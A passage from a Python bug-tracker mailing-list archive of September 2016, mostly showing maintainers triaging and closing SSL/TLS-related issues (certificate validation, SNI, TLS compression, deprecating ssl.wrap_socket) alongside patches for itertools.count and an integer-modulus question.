>>> c
2659090889061501952
>>> d=b*c
>>> d
61159090448414544896
>>> e=a-d
>>> e
1395

----------
messages: 275015
nosy: sfaisalawan
priority: normal
severity: normal
status: open
title: Calculating wrong modulus manually
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28021>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:22:46 2016
From: report at bugs.python.org (Marcos Dione)
Date: Thu, 08 Sep 2016 14:22:46 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473344566.12.0.433379134365.issue28019@psf.upfronthosting.co.za>


Marcos Dione added the comment:

Here's a first approach on fixing this bug. I'm not sure how to handle the case where step=1.0.

----------
keywords: +patch
Added file: http://bugs.python.org/file44466/fix_28019.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:25:16 2016
From: report at bugs.python.org (Marcos Dione)
Date: Thu, 08 Sep 2016 14:25:16 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473344715.99.0.905981590373.issue28019@psf.upfronthosting.co.za>


Changes by Marcos Dione <mdione at grulic.org.ar>:


----------
versions: +Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:28:18 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:28:18 +0000
Subject: [issue10274] imaplib should provide a means to validate a remote
 server ssl certificate(s)
In-Reply-To: <1288583733.85.0.123923377362.issue10274@psf.upfronthosting.co.za>
Message-ID: <1473344898.19.0.523679312279.issue10274@psf.upfronthosting.co.za>


Christian Heimes added the comment:

You can use a custom ssl context to enforce cert and hostname validation:

>>> import imaplib, ssl
>>> ctx = ssl.create_default_context()
>>> conn = imaplib.IMAP4_SSL("74.125.133.109", ssl_context=ctx)
Traceback (most recent call last):
...
ssl.CertificateError: hostname '74.125.133.109' doesn't match 'imap.gmail.com'

----------
nosy: +christian.heimes
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10274>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:29:15 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:29:15 +0000
Subject: [issue1522400] irda socket support
Message-ID: <1473344955.39.0.524390729354.issue1522400@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1522400>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:30:10 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:30:10 +0000
Subject: [issue15426] On a x86_64 Linux workstation,
 the build-from-source is borked.
In-Reply-To: <1342987672.67.0.931013334684.issue15426@psf.upfronthosting.co.za>
Message-ID: <1473345010.05.0.0470213665434.issue15426@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> out of date
stage:  -> patch review
status: open -> pending
versions: +Python 3.6, Python 3.7 -Python 2.7, Python 3.2, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15426>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:32:05 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:32:05 +0000
Subject: [issue15769] urllib.request.urlopen with cafile or capath set
 overrides any previous Handlers
In-Reply-To: <1345685709.12.0.30740709281.issue15769@psf.upfronthosting.co.za>
Message-ID: <1473345125.76.0.510434199678.issue15769@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The ticket hasn't moved in about four years. Does the issue still persist?

----------
nosy: +christian.heimes
resolution:  -> out of date
stage: needs patch -> patch review
status: open -> pending
versions: +Python 3.6, Python 3.7 -Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15769>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:33:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:33:07 +0000
Subject: [issue15670] PEP 3121, 384 Refactoring applied to ssl module
In-Reply-To: <1345041029.57.0.223670432026.issue15670@psf.upfronthosting.co.za>
Message-ID: <1473345187.38.0.324417181118.issue15670@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +alex, christian.heimes, dstufft, giampaolo.rodola, janssen
stage:  -> needs patch
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15670>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:33:44 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Thu, 08 Sep 2016 14:33:44 +0000
Subject: [issue28021] Calculating wrong modulus manually
In-Reply-To: <1473344467.84.0.165725302735.issue28021@psf.upfronthosting.co.za>
Message-ID: <1473345224.06.0.875094285549.issue28021@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

You should use a//b instead of int(a/b).

>>> 11**19 - 11**19//23*23
15
>>> 11**19 - int(11**19/23)*23
1395

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28021>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:34:26 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 08 Sep 2016 14:34:26 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473345266.11.0.727500854607.issue28019@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
stage:  -> patch review
versions:  -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:34:55 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:34:55 +0000
Subject: [issue7672] _ssl module overwrites existing thread safety callbacks
In-Reply-To: <1263156723.76.0.110794213005.issue7672@psf.upfronthosting.co.za>
Message-ID: <1473345295.78.0.936961324242.issue7672@psf.upfronthosting.co.za>


Christian Heimes added the comment:

OpenSSL 1.1.0 comes with its own locking code. I'm not going to change the module for < 1.1.0.

----------
nosy: +christian.heimes
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue7672>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:37:05 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:37:05 +0000
Subject: [issue13403] Option for XMLPRC Server to support HTTPS
In-Reply-To: <1321291767.37.0.486686259371.issue13403@psf.upfronthosting.co.za>
Message-ID: <1473345425.37.0.585723710741.issue13403@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The patch is out of date. The XMLRPC HTTPS server should accept a ssl context instead of key and cert file. This allows better customization and SSL session resumption.

----------
nosy: +christian.heimes
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13403>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:38:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:38:23 +0000
Subject: [issue4470] smtplib SMTP_SSL not working.
In-Reply-To: <1228062214.03.0.955455415588.issue4470@psf.upfronthosting.co.za>
Message-ID: <1473345503.12.0.791019668498.issue4470@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The bug is 8 years old and hasn't seen activity for three years. Is SMTP over SSL still broken for you?

----------
nosy: +christian.heimes
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4470>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:39:33 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:39:33 +0000
Subject: [issue18029] Python SSL support is missing from SPARC build
In-Reply-To: <1369148411.16.0.857951754305.issue18029@psf.upfronthosting.co.za>
Message-ID: <1473345573.57.0.429219303926.issue18029@psf.upfronthosting.co.za>


Christian Heimes added the comment:

SPARC is no longer a supported platform.

----------
nosy: +christian.heimes
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:43:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:43:04 +0000
Subject: [issue10852] SSL/TLS sni use in smtp, pop, imap, nntp,
 ftp client libs by default
In-Reply-To: <1294375380.08.0.187691378511.issue10852@psf.upfronthosting.co.za>
Message-ID: <1473345784.83.0.839224930301.issue10852@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Good idea, but the patch is outdated. We can enforce verification by changing ssl._create_stdlib_context.

----------
assignee:  -> christian.heimes
nosy: +alex, dstufft, janssen
priority: normal -> high
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10852>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:43:21 2016
From: report at bugs.python.org (Facundo Batista)
Date: Thu, 08 Sep 2016 14:43:21 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473345801.46.0.884738570787.issue28019@psf.upfronthosting.co.za>


Facundo Batista added the comment:

I think the fix nails it; all the problem was that the "fast" mode was wrongly detected, and all the problems (counting badly, or a bad repr, etc) is a problem after setting cnt into PY_SSIZE_T_MAX.

IIUC there is nothing special to do when step=1.0, as later on the original objects are used (they don't suffer a wrong cast to integer anymore).

----------
nosy: +facundobatista

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:44:08 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:44:08 +0000
Subject: [issue10852] SSL/TLS sni use in smtp, pop, imap, nntp,
 ftp client libs by default
In-Reply-To: <1294375380.08.0.187691378511.issue10852@psf.upfronthosting.co.za>
Message-ID: <1473345848.7.0.852186982826.issue10852@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Oh sorry, this is about SNI not verified context. All protocols support SNI for some time.

----------
resolution:  -> out of date
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10852>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:47:11 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:47:11 +0000
Subject: [issue18636] mingw: setup _ssl module
In-Reply-To: <1375472116.92.0.328904140064.issue18636@psf.upfronthosting.co.za>
Message-ID: <1473346031.35.0.366264277295.issue18636@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Is this patch still relevant and required?

----------
nosy: +christian.heimes
status: open -> pending
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18636>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:50:01 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:50:01 +0000
Subject: [issue9146] Segfault in hashlib in OpenSSL FIPS mode using
 non-FIPS-compliant hashes, if "ssl" imported before "hashlib"
In-Reply-To: <1278097810.42.0.823869291087.issue9146@psf.upfronthosting.co.za>
Message-ID: <1473346201.04.0.134810794048.issue9146@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I can no longer reproduce the crash with Python 2.7 and 3.5 (Fedora 24 with OpenSSL 1.0.2h). Is this still a problem for you?

----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9146>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:50:28 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:50:28 +0000
Subject: [issue9216] FIPS support for hashlib
In-Reply-To: <1278721335.16.0.522410247151.issue9216@psf.upfronthosting.co.za>
Message-ID: <1473346228.65.0.942406904761.issue9216@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9216>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:51:50 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:51:50 +0000
Subject: [issue18617] TLS and Intermediate Certificates
In-Reply-To: <1375376317.99.0.429350247521.issue18617@psf.upfronthosting.co.za>
Message-ID: <1473346310.37.0.718238277775.issue18617@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6, Python 3.7 -Python 2.7, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18617>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:53:33 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:53:33 +0000
Subject: [issue20469] ssl.getpeercert() should include extensions
In-Reply-To: <1391213322.18.0.0407523257896.issue20469@psf.upfronthosting.co.za>
Message-ID: <1473346412.99.0.650671105682.issue20469@psf.upfronthosting.co.za>


Christian Heimes added the comment:

We cannot support arbitrary extensions. If you need special extension, then you have to get the raw DER cert and use some library like pyasn1 to parse the cert yourself. PyCA cryptography might help you with that, too.

----------
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20469>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:55:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:55:00 +0000
Subject: [issue18616] enable more ssl socket options with
 get_server_certificate
In-Reply-To: <1375372562.92.0.356754094449.issue18616@psf.upfronthosting.co.za>
Message-ID: <1473346500.98.0.81392116743.issue18616@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I would accept a patch that adds a ssl_context argument to get_server_certificate().

----------
status: open -> pending
versions: +Python 3.6, Python 3.7 -Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18616>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:55:30 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:55:30 +0000
Subject: [issue21649] Mention "Recommendations for Secure Use of TLS and DTLS"
In-Reply-To: <1401786597.2.0.166065083457.issue21649@psf.upfronthosting.co.za>
Message-ID: <1473346530.82.0.593394415417.issue21649@psf.upfronthosting.co.za>


Christian Heimes added the comment:

https://wiki.mozilla.org/Security/Server_Side_TLS is a good resource, too.

----------
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21649>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:57:53 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:57:53 +0000
Subject: [issue21830] ssl.wrap_socket fails on Windows 7 when specifying
 ca_certs
In-Reply-To: <1403550662.12.0.944818442815.issue21830@psf.upfronthosting.co.za>
Message-ID: <1473346673.87.0.979555708828.issue21830@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The ticket hasn't been updated in two years.

----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21830>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:59:03 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:59:03 +0000
Subject: [issue16763] test_ssl with connect_ex don't handle unreachable server
 correctly
In-Reply-To: <1356349308.1.0.276929202525.issue16763@psf.upfronthosting.co.za>
Message-ID: <1473346743.97.0.506736474805.issue16763@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It's probably out of date :)

Please reopen if you still see this issue.

----------
nosy: +christian.heimes
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16763>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:59:26 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 08 Sep 2016 14:59:26 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473346766.39.0.485091220458.issue28019@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:59:39 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:59:39 +0000
Subject: [issue9423] Error in urllib2.do_open(self, http_class, req)
In-Reply-To: <1280444947.69.0.433745373781.issue9423@psf.upfronthosting.co.za>
Message-ID: <1473346779.5.0.165253159145.issue9423@psf.upfronthosting.co.za>


Christian Heimes added the comment:

No activity in two years, I'm closing this ticket.

----------
nosy: +christian.heimes
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9423>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:02:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:02:04 +0000
Subject: [issue22301] smtplib.SMTP.starttls' documentation is just confusing
In-Reply-To: <1409344383.54.0.340854314506.issue22301@psf.upfronthosting.co.za>
Message-ID: <1473346924.69.0.338761933753.issue22301@psf.upfronthosting.co.za>


Christian Heimes added the comment:

starttls() does accept a ssl_context argument for a while.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22301>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:03:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:03:02 +0000
Subject: [issue1481032] patch smtplib:when SMTPDataError,
 rset crashes with sslerror
Message-ID: <1473346982.18.0.224578618196.issue1481032@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Is this still an issue? The bug is 10 years old and the patch two years.

----------
nosy: +christian.heimes
status: open -> pending
versions: +Python 3.6, Python 3.7 -Python 2.7, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1481032>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:03:40 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:03:40 +0000
Subject: [issue22365] SSLContext.load_verify_locations(cadata) does not accept
 CRLs
In-Reply-To: <1410188086.75.0.333692035483.issue22365@psf.upfronthosting.co.za>
Message-ID: <1473347020.71.0.244634625941.issue22365@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage:  -> needs patch
type:  -> behavior
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22365>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:06:15 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:06:15 +0000
Subject: [issue20994] Disable TLS Compression
In-Reply-To: <1395323616.33.0.927638655451.issue20994@psf.upfronthosting.co.za>
Message-ID: <1473347175.59.0.568185002529.issue20994@psf.upfronthosting.co.za>


Christian Heimes added the comment:

the default context sets context.options |= getattr(_ssl, "OP_NO_COMPRESSION", 0), _create_unverified_context() is missing that line.

----------
stage:  -> needs patch
type:  -> security
versions: +Python 3.6, Python 3.7 -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20994>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:06:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:06:23 +0000
Subject: [issue20994] Disable TLS Compression
In-Reply-To: <1395323616.33.0.927638655451.issue20994@psf.upfronthosting.co.za>
Message-ID: <1473347183.02.0.471228662989.issue20994@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
priority: normal -> high

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20994>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:08:25 2016
From: report at bugs.python.org (Marcos Dione)
Date: Thu, 08 Sep 2016 15:08:25 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473347305.73.0.936943724182.issue28019@psf.upfronthosting.co.za>


Marcos Dione added the comment:

New patch following comments from SilentGhost.

----------
Added file: http://bugs.python.org/file44467/fix_28019.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:09:50 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:09:50 +0000
Subject: [issue23033] Disallow support for a*.example.net, *a.example.net,
 and a*b.example.net in certificate wildcard handling.
In-Reply-To: <1418331823.45.0.0499057066046.issue23033@psf.upfronthosting.co.za>
Message-ID: <1473347390.5.0.850207684819.issue23033@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Sounds good to me!

For 3.7 I'm planning to use OpenSSL's hostname verification system and deprecate match_hostname(). It does support partial matching by default.

----------
nosy: +christian.heimes
stage:  -> needs patch
type:  -> security
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23033>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:11:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:11:04 +0000
Subject: [issue22870] urlopen timeout failed with SSL socket
In-Reply-To: <1415974262.24.0.550554752923.issue22870@psf.upfronthosting.co.za>
Message-ID: <1473347464.94.0.161757533849.issue22870@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Is this bug still relevant for you?

----------
nosy: +christian.heimes
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22870>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:12:13 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:12:13 +0000
Subject: [issue22866] ssl module in 2.7 should provide a way to configure
 default context options
In-Reply-To: <1415905159.27.0.459058409364.issue22866@psf.upfronthosting.co.za>
Message-ID: <1473347533.29.0.88908378448.issue22866@psf.upfronthosting.co.za>


Christian Heimes added the comment:

MAL, where is your patch? :)

----------
nosy: +christian.heimes
stage:  -> needs patch
status: open -> pending
type: enhancement -> security

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22866>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:13:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:13:23 +0000
Subject: [issue23274] make_ssl_data.py in Python 2.7.9 needs Python 3 to run
In-Reply-To: <1421690387.01.0.101283593365.issue23274@psf.upfronthosting.co.za>
Message-ID: <1473347603.23.0.831746504563.issue23274@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It's 2016. Everybody should have a host with Python 3. In fact it's more likely that your machine doesn't have 2.7.

----------
nosy: +christian.heimes
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23274>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:19:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:19:02 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
Message-ID: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>


New submission from Christian Heimes:

I like to deprecate some SSL related parts of Python:

- ssl.wrap_socket() is a horrible abomination. People should use SSLContext.wrap_socket() instead
- all certfile/cert_file, keyfile/key_file and check_hostname arguments. Use context / ssl_context instead.
- make ftplib, imaplib, nntplib, pop3lib, smtplib etc. validate certs by default.

----------
assignee: christian.heimes
components: Documentation, Library (Lib)
messages: 275043
nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen
priority: high
severity: normal
stage: needs patch
status: open
title: SSL releated deprecation for 3.6
type: security
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:19:24 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:19:24 +0000
Subject: [issue20924] openssl init 100% CPU  utilization on Windows
In-Reply-To: <1394807354.77.0.238568366714.issue20924@psf.upfronthosting.co.za>
Message-ID: <1473347964.24.0.550720011231.issue20924@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20924>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:19:51 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:19:51 +0000
Subject: [issue23588] Errno conflicts in ssl.SSLError
In-Reply-To: <1425528608.86.0.380656858337.issue23588@psf.upfronthosting.co.za>
Message-ID: <1473347991.33.0.401555370979.issue23588@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6, Python 3.7 -Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23588>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:21:18 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:21:18 +0000
Subject: [issue23843] ssl.wrap_socket doesn't handle virtual TLS hosts
In-Reply-To: <1427913138.81.0.946174755254.issue23843@psf.upfronthosting.co.za>
Message-ID: <1473348078.29.0.495997372403.issue23843@psf.upfronthosting.co.za>


Christian Heimes added the comment:

ssl.wrap_socket() will be deprecated in 3.6. Please use a context. You can still inspect the server cert with a context. In fact ssl.wrap_socket() uses a context internally.

----------
resolution:  -> wont fix
status: open -> closed
versions: +Python 3.6 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23843>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:21:48 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:21:48 +0000
Subject: [issue17123] Add OCSP support to ssl module
In-Reply-To: <1359994472.8.0.804183286731.issue17123@psf.upfronthosting.co.za>
Message-ID: <1473348108.51.0.594784922872.issue17123@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'll add OCSP stapling verification to 3.7.

----------
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17123>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:22:12 2016
From: report at bugs.python.org (Giampaolo Rodola')
Date: Thu, 08 Sep 2016 15:22:12 +0000
Subject: [issue23843] ssl.wrap_socket doesn't handle virtual TLS hosts
In-Reply-To: <1427913138.81.0.946174755254.issue23843@psf.upfronthosting.co.za>
Message-ID: <1473348132.91.0.217195802437.issue23843@psf.upfronthosting.co.za>


Changes by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
nosy:  -giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23843>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:22:32 2016
From: report at bugs.python.org (Giampaolo Rodola')
Date: Thu, 08 Sep 2016 15:22:32 +0000
Subject: [issue23588] Errno conflicts in ssl.SSLError
In-Reply-To: <1425528608.86.0.380656858337.issue23588@psf.upfronthosting.co.za>
Message-ID: <1473348152.58.0.094607046944.issue23588@psf.upfronthosting.co.za>


Changes by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
nosy:  -giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23588>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:24:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:24:04 +0000
Subject: [issue24372] Documentation for ssl.wrap_socket's ssl_version
 parameter is odd
In-Reply-To: <1433337046.56.0.760667574061.issue24372@psf.upfronthosting.co.za>
Message-ID: <1473348244.72.0.440970203201.issue24372@psf.upfronthosting.co.za>


Christian Heimes added the comment:

OpenSSL 1.1.0 has deprecated all versions except TLS_METHOD and DTLS_METHOD. TLS_METHOD is the new name for auto-nego SSLv23_METHOD. Python 3.6 defaults to TLS_METHOD already. #27876 will add a better way to configure accepted versions.

----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24372>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:25:17 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:25:17 +0000
Subject: [issue24542] ssl - SSL_OP_NO_TICKET not reimplemented
